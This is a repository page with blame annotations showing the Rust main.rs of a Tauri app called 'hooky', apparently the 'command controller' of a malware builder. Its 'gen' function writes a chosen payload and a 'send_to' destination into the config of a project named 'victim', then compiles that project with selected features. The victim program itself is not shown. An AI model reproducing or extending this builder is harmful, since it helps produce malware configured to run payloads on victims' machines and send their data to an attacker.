~/hooky

hooky/command/src-tauri/src/main.rs -rw-r--r-- 1.41 kB
335dec98 — Arthur Melton command controller 2 years ago

            
89bc4b52 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
dfc58611 Arthur Melton
c1f59a62 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
335dec98 Arthur Melton
89bc4b52 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
335dec98 Arthur Melton
8b2d0277 Arthur Melton
df6fb4e9 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
406fafb5 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
8b2d0277 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
c1f59a62 Arthur Melton
b90df7a0 Arthur Melton
89bc4b52 Arthur Melton
8b2d0277 Arthur Melton
b90df7a0 Arthur Melton
8b2d0277 Arthur Melton
89bc4b52 Arthur Melton
406fafb5 Arthur Melton
89bc4b52 Arthur Melton


























































































1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#![cfg_attr(
    all(not(debug_assertions), target_os = "windows"),
    windows_subsystem = "windows"
)]

use std::process::Command;
use config::Config;
use std::fs::File;
use std::io::Write;

#[tauri::command]
fn gen(features: Vec<String>, mut payload: Option<String>, send_to: String) {
    if payload == Some("".to_string()) {payload = None;}
    let mut path = std::env::current_exe().unwrap();
    for _ in 0..4 {
        path.pop();
    }
    path.push("victim");
    path.push("config.toml");
    let config = Config {
        payload: payload.clone(),
        send_to,
    };
    let mut file = File::create(path.clone()).unwrap();
    file.write_all(toml::to_string(&config).unwrap().as_bytes()).unwrap();
    file.sync_all().unwrap();
    path.pop();
    let mut args = vec!["build", "--release"];
    for i in features.iter().map(|x| x.as_str()).collect::<Vec<_>>() {
        args.push("--features");
        args.push(i);
    }
    if payload.is_some() {
        args.push("--features");
        args.push("payload");
    }
    Command::new("cargo")
            .args(args)
            .current_dir(&path.display().to_string())
            .output()
            .expect("failed to execute process");
}

fn main() {
    tauri::Builder::default()
        .invoke_handler(tauri::generate_handler![gen])
        .run(tauri::generate_context!())
        .expect("error while running tauri application");
}